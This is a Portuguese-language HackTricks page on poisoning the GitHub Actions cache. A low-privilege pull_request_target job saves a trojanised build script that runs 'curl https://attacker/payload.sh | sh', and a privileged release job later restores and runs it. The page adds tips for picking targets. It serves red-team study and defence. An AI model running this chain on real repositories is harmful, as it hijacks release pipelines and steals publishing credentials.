GH Actions - Cache Poisoning

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Overview

O cache do GitHub Actions é global para um repositório. Qualquer workflow que conheça a key do cache (ou restore-keys) pode preencher essa entrada, mesmo que o job tenha apenas permissions: contents: read. O GitHub não segrega caches por workflow, tipo de evento ou nível de confiança, então um atacante que comprometer um job de baixo privilégio pode contaminar um cache que um job de release privilegiado irá depois restaurar. Foi assim que o comprometimento do Ultralytics pivotou de um workflow pull_request_target para a pipeline de publicação no PyPI.

Attack primitives

  • actions/cache expõe both restore and save operations (actions/cache@v4, actions/cache/save@v4, actions/cache/restore@v4). A chamada de save é permitida para qualquer job, exceto para workflows pull_request verdadeiramente não confiáveis disparados a partir de forks.
  • Entradas de cache são identificadas apenas pelo key. restore-keys amplos facilitam injetar payloads porque o atacante só precisa colidir com um prefixo.
  • O sistema de arquivos em cache é restaurado exatamente como estava. Se o cache contiver scripts ou binários que sejam executados depois, o atacante controla esse caminho de execução.

Example exploitation chain

Author workflow (pull_request_target) poisoned the cache:

steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}

Workflow privilegiado restaurado e executou o poisoned cache:

steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz

O segundo job agora executa código controlado pelo atacante enquanto possui credenciais de release (PyPI tokens, PATs, cloud deploy keys, etc.).

Dicas práticas de exploração

  • Aponte para workflows acionados por pull_request_target, issue_comment, ou comandos de bot que ainda salvam caches; o GitHub permite que eles sobrescrevam chaves de todo o repositório mesmo quando o runner tem apenas acesso de leitura ao repo.
  • Procure por deterministic cache keys reutilizados através de limites de confiança (por exemplo, pip-${{ hashFiles('poetry.lock') }}) ou restore-keys permissivos, então salve seu tarball malicioso antes de o workflow privilegiado rodar.
  • Monitore os logs por entradas Cache saved ou adicione seu próprio passo de cache-save para que o próximo job de release restaure o payload e execute os scripts ou binários trojanizados.

References

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks